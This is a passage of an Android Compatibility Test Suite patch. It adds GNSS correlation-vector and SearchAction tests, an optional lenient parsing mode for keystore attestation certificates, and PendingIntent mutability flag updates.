+import android.location.CorrelationVector;
+import android.os.Parcel;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests fundamental functionality of CorrelationVector class. This includes writing and reading
+ * from parcel, and verifying computed values and getters.
+ */
+@RunWith(AndroidJUnit4.class)
+public class CorrelationVectorTest {
+
+ private static final double PRECISION = 0.0001;
+ private static final int[] MAGNITUDE_ARRAY = new int[] {0, 5000, 10000, 5000, 0, 0, 3000, 0};
+ private static final int[] MAGNITUDE_ARRAY2 = new int[] {0, 3000, 10000, 5000, 0, 0, 3000, 0};
+
+ @Test
+ public void testCorrelationVectorDescribeContents() {
+ CorrelationVector correlationVector = createTestCorrelationVector(30d, 10d, 10, MAGNITUDE_ARRAY);
+ assertEquals(0, correlationVector.describeContents());
+ }
+
+ @Test
+ public void testCorrelationVectorWriteToParcel() {
+ CorrelationVector correlationVector = createTestCorrelationVector(30d, 10d, 10, MAGNITUDE_ARRAY);
+ Parcel parcel = Parcel.obtain();
+ correlationVector.writeToParcel(parcel, 0);
+ parcel.setDataPosition(0);
+ CorrelationVector newCorrelationVector = CorrelationVector.CREATOR.createFromParcel(parcel);
+ verifyCorrelationVectorValuesAndGetters(newCorrelationVector);
+ parcel.recycle();
+ }
+
+ @Test
+ public void testCreateCorrelationVectorAndGetValues() {
+ CorrelationVector correlationVector = createTestCorrelationVector(30d, 10d, 10, MAGNITUDE_ARRAY);
+ verifyCorrelationVectorValuesAndGetters(correlationVector);
+ }
+
+ @Test
+ public void testEquals() {
+ CorrelationVector correlationVector1 = createTestCorrelationVector(30d, 10d, 10, MAGNITUDE_ARRAY);
+ CorrelationVector correlationVector2 = createTestCorrelationVector(30d, 10d, 10, MAGNITUDE_ARRAY);
+ CorrelationVector correlationVector3 = createTestCorrelationVector(30d, 10d, 10, MAGNITUDE_ARRAY2);
+ assertEquals(correlationVector1, correlationVector2);
+ assertNotEquals(correlationVector1, correlationVector3);
+ }
+
+ @Test
+ public void testHashCode() {
+ CorrelationVector correlationVector1 = createTestCorrelationVector(30d, 10d, 10, MAGNITUDE_ARRAY);
+ CorrelationVector correlationVector2 = createTestCorrelationVector(30d, 10d, 10, MAGNITUDE_ARRAY);
+ CorrelationVector correlationVector3 = createTestCorrelationVector(30d, 10d, 10, MAGNITUDE_ARRAY2);
+ assertEquals(correlationVector1.hashCode(), correlationVector2.hashCode());
+ assertNotEquals(correlationVector1.hashCode(), correlationVector3.hashCode());
+ }
+
+ private static void verifyCorrelationVectorValuesAndGetters(
+ CorrelationVector correlationVector) {
+ assertEquals(30d, correlationVector.getSamplingWidthMeters(), PRECISION);
+ assertEquals(10d, correlationVector.getSamplingStartMeters(), PRECISION);
+ assertEquals(10, correlationVector.getFrequencyOffsetMetersPerSecond());
+ assertArrayEquals(MAGNITUDE_ARRAY, correlationVector.getMagnitude());
+ }
+
+ private static CorrelationVector createTestCorrelationVector(
+ double samplingWidthMeters, double samplingStartMeters,
+ int frequencyOffsetMetersPerSecond, int[] magnitude) {
+ return new CorrelationVector.Builder()
+ .setSamplingWidthMeters(samplingWidthMeters)
+ .setSamplingStartMeters(samplingStartMeters)
+ .setFrequencyOffsetMetersPerSecond(frequencyOffsetMetersPerSecond)
+ .setMagnitude(magnitude)
+ .build();
+ }
+}
diff --git a/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementRegistrationTest.java b/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementRegistrationTest.java
index 1a68240..9248032 100644
--- a/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementRegistrationTest.java
+++ b/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementRegistrationTest.java
@@ -17,6 +17,7 @@
package android.location.cts.privileged;
import android.Manifest;
+import android.location.GnssMeasurementRequest;
import android.location.GnssMeasurementsEvent;
import android.location.GnssRequest;
import android.location.Location;
@@ -103,6 +104,33 @@
mTestLocationManager.registerGnssMeasurementCallback(mMeasurementListener,
new GnssRequest.Builder().setFullTracking(true).build());
+ verifyGnssMeasurementsReceived();
+ }
+
+ /**
+ * Test GPS measurements registration with correlation vector outputs enabled
+ */
+ public void testGnssMeasurementRegistration_enableCorrelationOutputs() throws Exception {
+ // Checks if GPS hardware feature is present, skips test (pass) if not.
+ if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
+ return;
+ }
+
+ if (TestMeasurementUtil.isAutomotiveDevice(getContext())) {
+ Log.i(TAG, "Test is being skipped because the system has the AUTOMOTIVE feature.");
+ return;
+ }
+
+ // Register for GPS measurements.
+ mMeasurementListener = new TestGnssMeasurementListener(TAG, GPS_EVENTS_COUNT);
+ mTestLocationManager.registerGnssMeasurementCallback(mMeasurementListener,
+ new GnssMeasurementRequest.Builder().
+ setCorrelationVectorOutputsEnabled(true).build());
+
+ verifyGnssMeasurementsReceived();
+ }
+
+ private void verifyGnssMeasurementsReceived() throws InterruptedException {
mMeasurementListener.await();
List<GnssMeasurementsEvent> events = mMeasurementListener.getEvents();
diff --git a/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementRequestTest.java b/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementRequestTest.java
new file mode 100644
index 0000000..ced41ba
--- /dev/null
+++ b/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementRequestTest.java
@@ -0,0 +1,92 @@
+package android.location.cts.privileged;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.Manifest;
+import android.content.Context;
+import android.location.GnssMeasurementRequest;
+import android.location.LocationManager;
+import android.os.Parcel;
+
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests fundamental functionality of {@link GnssMeasurementRequest} class. This includes writing
+ * and reading from parcel, and verifying computed values and getters.
+ */
+@RunWith(AndroidJUnit4.class)
+public class GnssMeasurementRequestTest {
+
+ private Context mContext;
+ private LocationManager mLocationManager;
+
+ @Before
+ public void setUp() throws Exception {
+ mContext = ApplicationProvider.getApplicationContext();
+ mLocationManager = mContext.getSystemService(LocationManager.class);
+ assertNotNull(mLocationManager);
+
+ InstrumentationRegistry.getInstrumentation()
+ .getUiAutomation()
+ .adoptShellPermissionIdentity(Manifest.permission.LOCATION_HARDWARE);
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ InstrumentationRegistry.getInstrumentation()
+ .getUiAutomation()
+ .dropShellPermissionIdentity();
+ }
+
+ @Test
+ public void testGetValues() {
+ GnssMeasurementRequest request1 = getTestGnssMeasurementRequest(true);
+ assertTrue(request1.isCorrelationVectorOutputsEnabled());
+ GnssMeasurementRequest request2 = getTestGnssMeasurementRequest(false);
+ assertFalse(request2.isCorrelationVectorOutputsEnabled());
+ }
+
+ @Test
+ public void testDescribeContents() {
+ GnssMeasurementRequest request = getTestGnssMeasurementRequest(true);
+ assertEquals(request.describeContents(), 0);
+ }
+
+ @Test
+ public void testWriteToParcel() {
+ GnssMeasurementRequest request = getTestGnssMeasurementRequest(true);
+
+ Parcel parcel = Parcel.obtain();
+ request.writeToParcel(parcel, 0);
+ parcel.setDataPosition(0);
+ GnssMeasurementRequest fromParcel = GnssMeasurementRequest.CREATOR.createFromParcel(parcel);
+
+ assertEquals(request, fromParcel);
+ }
+
+ @Test
+ public void testEquals() {
+ GnssMeasurementRequest request1 = getTestGnssMeasurementRequest(true);
+ GnssMeasurementRequest request2 = new GnssMeasurementRequest.Builder(request1).build();
+ GnssMeasurementRequest request3 = getTestGnssMeasurementRequest(false);
+ assertEquals(request1, request2);
+ assertNotEquals(request3, request2);
+ }
+
+ private GnssMeasurementRequest getTestGnssMeasurementRequest(boolean correlationVectorOutputs) {
+ GnssMeasurementRequest.Builder builder = new GnssMeasurementRequest.Builder();
+ builder.setCorrelationVectorOutputsEnabled(correlationVectorOutputs);
+ return builder.build();
+ }
+}
diff --git a/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementTest.java b/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementTest.java
new file mode 100644
index 0000000..ca7a1fc
--- /dev/null
+++ b/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementTest.java
@@ -0,0 +1,115 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.privileged;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.location.CorrelationVector;
+import android.location.GnssMeasurement;
+import android.os.Parcel;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import java.util.ArrayList;
+import java.util.Collection;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class GnssMeasurementTest {
+
+ private static final Collection<CorrelationVector> TEST_CORRELATION_VECTORS =
+ createTestCorrelationVectors();
+
+ @Test
+ public void testDescribeContents() {
+ GnssMeasurement measurement = new GnssMeasurement();
+ assertEquals(0, measurement.describeContents());
+ }
+
+ @Test
+ public void testReset() {
+ GnssMeasurement measurement = new GnssMeasurement();
+ measurement.reset();
+ }
+
+ @Test
+ public void testWriteToParcel() {
+ GnssMeasurement measurement = new GnssMeasurement();
+ setTestValues(measurement);
+ Parcel parcel = Parcel.obtain();
+ measurement.writeToParcel(parcel, 0);
+ parcel.setDataPosition(0);
+ GnssMeasurement newMeasurement = GnssMeasurement.CREATOR.createFromParcel(parcel);
+ verifyTestValues(newMeasurement);
+ parcel.recycle();
+ }
+
+ @Test
+ public void testSet() {
+ GnssMeasurement measurement = new GnssMeasurement();
+ setTestValues(measurement);
+ GnssMeasurement newMeasurement = new GnssMeasurement();
+ newMeasurement.set(measurement);
+ verifyTestValues(newMeasurement);
+ }
+
+ @Test
+ public void testSetReset() {
+ GnssMeasurement measurement = new GnssMeasurement();
+ setTestValues(measurement);
+
+ assertTrue(measurement.hasCorrelationVectors());
+ measurement.resetCorrelationVectors();
+ assertFalse(measurement.hasCorrelationVectors());
+ }
+
+ private static void setTestValues(GnssMeasurement measurement) {
+ measurement.setCorrelationVectors(TEST_CORRELATION_VECTORS);
+ }
+
+ private static void verifyTestValues(GnssMeasurement measurement) {
+ Collection<CorrelationVector> correlationVectors = measurement.getCorrelationVectors();
+ assertArrayEquals(
+ TEST_CORRELATION_VECTORS.toArray(
+ new CorrelationVector[TEST_CORRELATION_VECTORS.size()]),
+ correlationVectors.toArray(new CorrelationVector[correlationVectors.size()]));
+ }
+
+ private static Collection<CorrelationVector> createTestCorrelationVectors() {
+ Collection<CorrelationVector> correlationVectors = new ArrayList<>();
+ correlationVectors.add(
+ new CorrelationVector.Builder()
+ .setSamplingWidthMeters(30d)
+ .setSamplingStartMeters(10d)
+ .setFrequencyOffsetMetersPerSecond(10)
+ .setMagnitude(new int[] {0, 5000, 10000, 5000, 0, 0, 3000, 0})
+ .build());
+ correlationVectors.add(
+ new CorrelationVector.Builder()
+ .setSamplingWidthMeters(30d)
+ .setSamplingStartMeters(20d)
+ .setFrequencyOffsetMetersPerSecond(20)
+ .setMagnitude(new int[] {0, 3000, 5000, 3000, 0, 0, 1000, 0})
+ .build());
+ return correlationVectors;
+ }
+}
diff --git a/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementValuesTest.java b/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementValuesTest.java
new file mode 100644
index 0000000..74c67d4
--- /dev/null
+++ b/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementValuesTest.java
@@ -0,0 +1,140 @@
+package android.location.cts.privileged;
+
+import static org.junit.Assert.assertNotNull;
+
+import android.Manifest;
+import android.content.Context;
+import android.location.GnssCapabilities;
+import android.location.GnssMeasurement;
+import android.location.GnssMeasurementRequest;
+import android.location.GnssMeasurementsEvent;
+import android.location.cts.common.SoftAssert;
+import android.location.cts.common.TestGnssMeasurementListener;
+import android.location.cts.common.TestLocationListener;
+import android.location.cts.common.TestLocationManager;
+import android.location.cts.common.TestMeasurementUtil;
+import android.util.Log;
+
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import java.util.List;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test the {@link GnssMeasurement} values.
+ *
+ * 1. Register for location updates.
+ * 2. Register a listener for {@link GnssMeasurementsEvent}s.
+ * 3. Wait for {@link #LOCATION_TO_COLLECT_COUNT} locations.
+ * 3.1 Confirm locations have been found.
+ * 4. Check {@link GnssMeasurementsEvent} status: if the status is not
+ * {@link GnssMeasurementsEvent.Callback#STATUS_READY}, the test will be skipped if the device
+ * does not support the GPS feature.
+ * 5. Verify {@link GnssMeasurement}s, the test will fail if any of the fields is not populated
+ * or in the expected range.
+ */
+@RunWith(AndroidJUnit4.class)
+public class GnssMeasurementValuesTest {
+
+ private static final String TAG = "GnssMeasValuesTest";
+ private static final int LOCATION_TO_COLLECT_COUNT = 20;
+
+ private Context mContext;
+ private TestGnssMeasurementListener mMeasurementListener;
+ private TestLocationListener mLocationListener;
+ private TestLocationManager mTestLocationManager;
+
+ @Before
+ public void setUp() throws Exception {
+ mContext = ApplicationProvider.getApplicationContext();
+ InstrumentationRegistry.getInstrumentation()
+ .getUiAutomation()
+ .adoptShellPermissionIdentity(Manifest.permission.LOCATION_HARDWARE);
+ mTestLocationManager = new TestLocationManager(mContext);
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ // Unregister listeners
+ if (mLocationListener != null) {
+ mTestLocationManager.removeLocationUpdates(mLocationListener);
+ }
+ if (mMeasurementListener != null) {
+ mTestLocationManager.unregisterGnssMeasurementCallback(mMeasurementListener);
+ }
+ InstrumentationRegistry.getInstrumentation()
+ .getUiAutomation()
+ .dropShellPermissionIdentity();
+ }
+
+ /**
+ * Tests that one can listen for {@link GnssMeasurementsEvent} for collection purposes.
+ * It only performs valid checks for the measurements received.
+ * This tests uses actual data retrieved from GPS HAL.
+ */
+ @Test
+ public void testListenForGnssMeasurements() throws Exception {
+ boolean isCorrVecSupported = false;
+ boolean isSatPvtSupported = false;
+
+ // Checks if GPS hardware feature is present, skips test (pass) if not
+ if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
+ return;
+ }
+
+ if (TestMeasurementUtil.isAutomotiveDevice(mContext)) {
+ Log.i(TAG, "Test is being skipped because the system has the AUTOMOTIVE feature.");
+ return;
+ }
+
+ GnssCapabilities capabilities = mTestLocationManager.getLocationManager().
+ getGnssCapabilities();
+ isSatPvtSupported = capabilities.hasSatellitePvt();
+ isCorrVecSupported = capabilities.hasMeasurementCorrelationVectors();
+
+ mLocationListener = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
+ mTestLocationManager.requestLocationUpdates(mLocationListener);
+
+ mMeasurementListener = new TestGnssMeasurementListener(TAG);
+ mTestLocationManager.registerGnssMeasurementCallback(
+ mMeasurementListener,
+ new GnssMeasurementRequest.Builder()
+ .setCorrelationVectorOutputsEnabled(isCorrVecSupported)
+ .build());
+
+ SoftAssert softAssert = new SoftAssert(TAG);
+ boolean success = mLocationListener.await();
+ softAssert.assertTrue(
+ "Time elapsed without getting enough location fixes."
+ + " Possibly, the test has been run deep indoors."
+ + " Consider retrying test outdoors.",
+ success);
+
+ Log.i(TAG, "Location status received = " + mLocationListener.isLocationReceived());
+
+ List<GnssMeasurementsEvent> events = mMeasurementListener.getEvents();
+ int eventCount = events.size();
+ Log.i(TAG, "Number of GnssMeasurement Event received = " + eventCount);
+
+ softAssert.assertTrue(
+ "GnssMeasurementEvent count", "X > 0",
+ String.valueOf(eventCount), eventCount > 0);
+
+ for (GnssMeasurementsEvent event : events) {
+ // Verify Gps Event optional fields are in required ranges
+ assertNotNull("GnssMeasurementEvent cannot be null.", event);
+ long timeInNs = event.getClock().getTimeNanos();
+ for (GnssMeasurement measurement : event.getMeasurements()) {
+ TestMeasurementUtil.assertAllGnssMeasurementSystemFields(mTestLocationManager,
+ measurement, softAssert, timeInNs, isCorrVecSupported, isSatPvtSupported);
+ }
+ }
+ softAssert.assertAll();
+ }
+}
diff --git a/tests/searchui/Android.bp b/tests/searchui/Android.bp
index 4581032..d06550f 100644
--- a/tests/searchui/Android.bp
+++ b/tests/searchui/Android.bp
@@ -17,9 +17,11 @@
defaults: ["cts_defaults"],
static_libs: [
"androidx.annotation_annotation",
+ "androidx.test.ext.junit",
"compatibility-device-util-axt",
"ctstestrunner-axt",
"truth-prebuilt",
+ "testng",
],
srcs: ["src/**/*.java"],
// Tag this module as a cts test artifact
diff --git a/tests/searchui/src/android/searchuiservice/cts/SearchActionTest.java b/tests/searchui/src/android/searchuiservice/cts/SearchActionTest.java
new file mode 100644
index 0000000..8018f15
--- /dev/null
+++ b/tests/searchui/src/android/searchuiservice/cts/SearchActionTest.java
@@ -0,0 +1,135 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.searchuiservice.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertEquals;
+import static org.testng.Assert.assertThrows;
+
+import android.app.PendingIntent;
+import android.app.search.SearchAction;
+import android.app.search.SearchAction.Builder;
+import android.content.Intent;
+import android.graphics.Bitmap;
+import android.graphics.drawable.Icon;
+import android.os.Bundle;
+import android.os.Parcel;
+
+import androidx.annotation.NonNull;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+/**
+ * Tests for {@link SearchAction}
+ *
+ * atest CtsSearchUiServiceTestCases
+ */
+@RunWith(JUnit4.class)
+public class SearchActionTest {
+ private static final String ID = "ID";
+ private static final String TITLE = "TITLE";
+ private static final Intent INTENT = new Intent();
+
+ private final SearchAction.Builder mBuilder = new SearchAction.Builder(ID, TITLE);
+
+ private final Bundle mExtras = new Bundle();
+
+ @Before
+ public void setIntentExtras() {
+ mExtras.putString("SEARCH", "AWESOME");
+ mBuilder.setExtras(mExtras).setIntent(INTENT);
+ }
+
+ @Test
+ public void testBuilder_invalidId() {
+ assertThrows(NullPointerException.class, () -> new Builder (null, TITLE));
+ }
+
+ @Test
+ public void testBuilder_invalidTitle() {
+ assertThrows(NullPointerException.class, () -> new Builder (ID, null));
+ }
+
+ @Test
+ public void testBuilder_zeroIntent() {
+ assertThrows(IllegalStateException.class, () -> new Builder(ID, TITLE).build());
+ }
+
+ @Test
+ public void testParcel_nullIcon() {
+ final SearchAction originalSearchAction = mBuilder.setIntent(INTENT).build();
+ assertEverything(originalSearchAction);
+ final SearchAction clone = cloneThroughParcel(originalSearchAction);
+ assertEverything(clone);
+ }
+
+ @Test
+ public void testParcel_bitmapIcon() {
+ final SearchAction originalSearchAction = mBuilder
+ .setIcon(Icon.createWithBitmap(
+ Bitmap.createBitmap(1, 1, Bitmap.Config.ALPHA_8)))
+ .build();
+ assertEverything(originalSearchAction);
+ final SearchAction clone = cloneThroughParcel(originalSearchAction);
+ assertEverything(clone);
+ }
+
+ @Test
+ public void testParcel_filePathIcon() {
+ final SearchAction originalSearchAction = mBuilder
+ .setIcon(Icon.createWithFilePath("file path"))
+ .build();
+ assertEverything(originalSearchAction);
+ final SearchAction clone = cloneThroughParcel(originalSearchAction);
+ assertEverything(clone);
+ }
+
+ private void assertEverything(@NonNull SearchAction searchAction) {
+ assertThat(searchAction).isNotNull();
+ assertThat(searchAction.getId()).isEqualTo(ID);
+ assertThat(searchAction.getTitle()).isEqualTo(TITLE);
+ assertExtras(searchAction.getExtras());
+ }
+
+ private void assertExtras(@NonNull Bundle bundle) {
+ assertThat(bundle).isNotNull();
+ assertThat(bundle.keySet()).hasSize(1);
+ assertThat(bundle.getString("SEARCH")).isEqualTo("AWESOME");
+ }
+
+ private SearchAction cloneThroughParcel(@NonNull SearchAction searchAction) {
+ final Parcel parcel = Parcel.obtain();
+
+ try {
+ // Write to parcel
+ parcel.setDataPosition(0);
+ searchAction.writeToParcel(parcel, 0);
+
+ // Read from parcel
+ parcel.setDataPosition(0);
+ final SearchAction clone = SearchAction.CREATOR
+ .createFromParcel(parcel);
+ assertThat(clone).isNotNull();
+ return clone;
+ } finally {
+ parcel.recycle();
+ }
+ }
+}
diff --git a/tests/security/src/android/keystore/cts/Asn1Attestation.java b/tests/security/src/android/keystore/cts/Asn1Attestation.java
index b454130..232a230 100644
--- a/tests/security/src/android/keystore/cts/Asn1Attestation.java
+++ b/tests/security/src/android/keystore/cts/Asn1Attestation.java
@@ -40,7 +40,13 @@
* @throws CertificateParsingException if the certificate does not contain a properly-formatted
* attestation extension.
*/
+
public Asn1Attestation(X509Certificate x509Cert) throws CertificateParsingException {
+ this(x509Cert, true);
+ }
+
+ public Asn1Attestation(X509Certificate x509Cert, boolean strictParsing)
+ throws CertificateParsingException {
super(x509Cert);
ASN1Sequence seq = getAttestationSequence(x509Cert);
@@ -57,8 +63,8 @@
uniqueId = Asn1Utils.getByteArrayFromAsn1(seq.getObjectAt(UNIQUE_ID_INDEX));
- softwareEnforced = new AuthorizationList(seq.getObjectAt(SW_ENFORCED_INDEX));
- teeEnforced = new AuthorizationList(seq.getObjectAt(TEE_ENFORCED_INDEX));
+ softwareEnforced = new AuthorizationList(seq.getObjectAt(SW_ENFORCED_INDEX), strictParsing);
+ teeEnforced = new AuthorizationList(seq.getObjectAt(TEE_ENFORCED_INDEX), strictParsing);
}
ASN1Sequence getAttestationSequence(X509Certificate x509Cert)
diff --git a/tests/security/src/android/keystore/cts/Asn1Utils.java b/tests/security/src/android/keystore/cts/Asn1Utils.java
index 9586651..933def8 100644
--- a/tests/security/src/android/keystore/cts/Asn1Utils.java
+++ b/tests/security/src/android/keystore/cts/Asn1Utils.java
@@ -137,15 +137,26 @@
public static boolean getBooleanFromAsn1(ASN1Encodable value)
throws CertificateParsingException {
+ return getBooleanFromAsn1(value, true);
+ }
+
+ public static boolean getBooleanFromAsn1(ASN1Encodable value, boolean strictParsing)
+ throws CertificateParsingException {
if (!(value instanceof ASN1Boolean)) {
throw new CertificateParsingException(
"Expected boolean, found " + value.getClass().getName());
}
ASN1Boolean booleanValue = (ASN1Boolean) value;
+
if (booleanValue.equals(ASN1Boolean.TRUE)) {
return true;
} else if (booleanValue.equals((ASN1Boolean.FALSE))) {
return false;
+ } else if (!strictParsing) {
+ // Value is not 0xFF nor 0x00, but some other non-zero value.
+ // This is invalid DER, but if we're not being strict,
+ // consider it true, otherwise fall through and throw exception
+ return true;
}
throw new CertificateParsingException(
diff --git a/tests/security/src/android/keystore/cts/Attestation.java b/tests/security/src/android/keystore/cts/Attestation.java
index 7414908..e9ff0d2 100644
--- a/tests/security/src/android/keystore/cts/Attestation.java
+++ b/tests/security/src/android/keystore/cts/Attestation.java
@@ -58,8 +58,13 @@
* attestation extension, if it contains multiple attestation extensions, or if the
* attestation extension can not be parsed.
*/
+
public static Attestation loadFromCertificate(X509Certificate x509Cert)
throws CertificateParsingException {
+ return Attestation.loadFromCertificate(x509Cert, true);
+ }
+ public static Attestation loadFromCertificate(X509Certificate x509Cert, boolean strictParsing)
+ throws CertificateParsingException {
if (x509Cert.getExtensionValue(EAT_OID) == null
&& x509Cert.getExtensionValue(ASN1_OID) == null) {
throw new CertificateParsingException("No attestation extensions found");
@@ -74,7 +79,7 @@
throw new CertificateParsingException("Unable to parse EAT extension", cbe);
}
}
- return new Asn1Attestation(x509Cert);
+ return new Asn1Attestation(x509Cert, strictParsing);
}
Attestation(X509Certificate x509Cert) {
diff --git a/tests/security/src/android/keystore/cts/AuthorizationList.java b/tests/security/src/android/keystore/cts/AuthorizationList.java
index dce9b2a..af74a2f 100644
--- a/tests/security/src/android/keystore/cts/AuthorizationList.java
+++ b/tests/security/src/android/keystore/cts/AuthorizationList.java
@@ -209,6 +209,10 @@
private boolean confirmationRequired;
public AuthorizationList(ASN1Encodable sequence) throws CertificateParsingException {
+ this(sequence, true);
+ }
+
+ public AuthorizationList(ASN1Encodable sequence, boolean strictParsing) throws CertificateParsingException {
if (!(sequence instanceof ASN1Sequence)) {
throw new CertificateParsingException("Expected sequence for authorization list, found "
+ sequence.getClass().getName());
@@ -292,7 +296,7 @@
userAuthType = Asn1Utils.getIntegerFromAsn1(value);
break;
case KM_TAG_ROOT_OF_TRUST & KEYMASTER_TAG_TYPE_MASK:
- rootOfTrust = new RootOfTrust(value);
+ rootOfTrust = new RootOfTrust(value, strictParsing);
break;
case KM_TAG_ATTESTATION_APPLICATION_ID & KEYMASTER_TAG_TYPE_MASK:
attestationApplicationId = new AttestationApplicationId(Asn1Utils
diff --git a/tests/security/src/android/keystore/cts/RootOfTrust.java b/tests/security/src/android/keystore/cts/RootOfTrust.java
index a115874..bfa2f10 100644
--- a/tests/security/src/android/keystore/cts/RootOfTrust.java
+++ b/tests/security/src/android/keystore/cts/RootOfTrust.java
@@ -38,6 +38,11 @@
private final int verifiedBootState;
public RootOfTrust(ASN1Encodable asn1Encodable) throws CertificateParsingException {
+ this(asn1Encodable, true);
+ }
+
+ public RootOfTrust(ASN1Encodable asn1Encodable, boolean strictParsing)
+ throws CertificateParsingException {
if (!(asn1Encodable instanceof ASN1Sequence)) {
throw new CertificateParsingException("Expected sequence for root of trust, found "
+ asn1Encodable.getClass().getName());
@@ -46,7 +51,8 @@
ASN1Sequence sequence = (ASN1Sequence) asn1Encodable;
verifiedBootKey =
Asn1Utils.getByteArrayFromAsn1(sequence.getObjectAt(VERIFIED_BOOT_KEY_INDEX));
- deviceLocked = Asn1Utils.getBooleanFromAsn1(sequence.getObjectAt(DEVICE_LOCKED_INDEX));
+ deviceLocked = Asn1Utils.getBooleanFromAsn1(
+ sequence.getObjectAt(DEVICE_LOCKED_INDEX), strictParsing);
verifiedBootState =
Asn1Utils.getIntegerFromAsn1(sequence.getObjectAt(VERIFIED_BOOT_STATE_INDEX));
}
diff --git a/tests/sensor/src/android/hardware/cts/helpers/sensoroperations/AlarmOperation.java b/tests/sensor/src/android/hardware/cts/helpers/sensoroperations/AlarmOperation.java
index 7c9be9f..74f28ba 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/sensoroperations/AlarmOperation.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/sensoroperations/AlarmOperation.java
@@ -91,7 +91,7 @@
long wakeupTimeMs = (System.currentTimeMillis()
+ TimeUnit.MILLISECONDS.convert(mSleepDuration, mTimeUnit));
Intent intent = new Intent(ACTION);
- PendingIntent pendingIntent = PendingIntent.getBroadcast(mContext, 0, intent, 0);
+ PendingIntent pendingIntent = PendingIntent.getBroadcast(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
am.setExact(AlarmManager.RTC_WAKEUP, wakeupTimeMs, pendingIntent);
// Execute operation
diff --git a/tests/tests/app.usage/src/android/app/usage/cts/TestService.java b/tests/tests/app.usage/src/android/app/usage/cts/TestService.java
index 5bd7dc1..58c254c 100644
--- a/tests/tests/app.usage/src/android/app/usage/cts/TestService.java
+++ b/tests/tests/app.usage/src/android/app/usage/cts/TestService.java
@@ -40,7 +40,7 @@
new Intent(this, Activities.ActivityOne.class)
.setAction(Intent.ACTION_MAIN)
.addCategory(Intent.CATEGORY_LAUNCHER)
- .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK), 0))
+ .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK), PendingIntent.FLAG_MUTABLE_UNAUDITED))
.setOngoing(true)
.build();
startForeground(1, status);
diff --git a/tests/tests/app/src/android/app/cts/RemoteActionTest.java b/tests/tests/app/src/android/app/cts/RemoteActionTest.java
index 2f71ed4..e1c1ba2 100644
--- a/tests/tests/app/src/android/app/cts/RemoteActionTest.java
+++ b/tests/tests/app/src/android/app/cts/RemoteActionTest.java
@@ -40,7 +40,7 @@
String title = "title";
String description = "description";
PendingIntent action = PendingIntent.getBroadcast(
- InstrumentationRegistry.getTargetContext(), 0, new Intent("TESTACTION"), 0);
+ InstrumentationRegistry.getTargetContext(), 0, new Intent("TESTACTION"), PendingIntent.FLAG_MUTABLE_UNAUDITED);
RemoteAction reference = new RemoteAction(icon, title, description, action);
reference.setEnabled(false);
reference.setShouldShowIcon(false);
@@ -64,7 +64,7 @@
String title = "title";
String description = "description";
PendingIntent action = PendingIntent.getBroadcast(
- InstrumentationRegistry.getTargetContext(), 0, new Intent("TESTACTION"), 0);
+ InstrumentationRegistry.getTargetContext(), 0, new Intent("TESTACTION"), PendingIntent.FLAG_MUTABLE_UNAUDITED);
